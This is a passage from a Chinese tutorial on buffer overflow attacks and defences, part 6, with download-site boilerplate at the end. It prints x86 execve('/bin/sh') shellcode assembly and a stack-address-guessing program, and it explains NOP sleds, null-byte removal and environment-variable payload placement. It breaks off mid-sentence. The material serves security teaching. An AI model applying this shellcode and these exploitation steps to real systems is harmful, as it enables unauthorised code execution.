手机版

缓冲区溢出攻击的分析及防范策略(6)

发布时间:2021-06-05   来源:未知    
字号:

网络 电子商务 编程

Jmp 0x2a # 3 bytes # 跳到CALL指令处

Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esi

movl %esi, 0x8(%esi) # 3 bytes

movb $0x0, 0x7(%esi) # 4 bytes

movl $0x0, 0xc(%esi) # 7 bytes

movl $0xb, %eax # 5 bytes

movl %esi, %ebx # 2 bytes # 执行execve(name[0],name,NULL);

leal 0x8(%esi) , %ecx # 3 bytes

leal 0xc(%esi) , %edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1,%eax # 5 bytes #执行exit(0)

movl $0x0,%ebx # 5 bytes

int $0x80 # 2 bytes

call –0x2f # 5 bytes #跳到popl %esi指令处

.string \‖/bin/sh‖\ # 8 bytes

利用gdb的x命令可以得到上述汇编代码的二进制代码。

(2) 猜测被溢出的缓冲区的位置

有了shellcode还不够,在溢出一个缓冲区时,还必须使被溢出的返回地址正确指向shellcode。在Unix环境下,当我们去溢出另外一个程序的没有边界检查的buffer时,通常只会得到一个Segmentation fault(段错误),程序退出,再没有其他信息。这就是由于返回地址不正确引起的。

为了正确获得溢出的缓冲区在堆栈的位置,所以需要推测shellcode的起始位置,即被溢出的缓冲区buffer的位置。Unix环境下,每个进程启动时的初始堆栈的虚存位置时一样的。利用下面的程序可以近似的得到这个位置(在环境变量不同、传入的命令行参数不同时,这个值略有变动):

unsigned long get_esp(void)

{

_asm_(―movl %esp,%eax‖);

}

void main(void)

{

printf(―0x%x\n‖,get_esp());

}

通常,进程运行时向堆栈中写入的数据不会超过数百个字节或数千个字节,有了这个起始地址,用简单的一个个尝试的方法也是可以攻击的。但显然这不是一种效率高的方法。解决的办法是在缓冲区前端填充几百字节NOP指令,只要猜测的地址落在NOP指令序列中,仍可以执行shellcode,从而成倍地增加猜中的机会。

(3) 攻击代码中字节代码为零的消除

Unix的程序中大量使用了strcpy函数,shellcode中含有0x00,由于通常是攻击一个字符缓冲区,如果攻击代码中含有0,则它会被当成字符串的结尾处理,于是攻击代码被截断。消除的方法是对代码做适当的变换,因此在这里需要使用一些汇编程序设计技巧,把shellcode转换成不含0x00的等价代码。

(4)被攻击的缓冲区很小的情况

当缓冲区太小,可能使NOP部分或shellcode部分覆盖返回地址ret,导致缓冲区起址到返回地址的距离不足以容纳shellcode,这样设定的跳转地址就没有用上,攻击代码不能被正确执行。

一个方法就是利用环境变量。当一个进程启动时,环境变量被映射到进程堆栈空间的顶端。这样就可以把攻击代码(NOP串+Shellcode)放到一个环境变两中,而在被溢出的缓冲区中填上攻击代码的地址。比如,可以

缓冲区溢出攻击的分析及防范策略(6).doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印
×
二维码
× 游客快捷下载通道(下载后可以自由复制和排版)
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
注:下载文档有可能出现无法下载或内容有问题,请联系客服协助您处理。
× 常见问题(客服时间:周一到周五 9:30-18:00)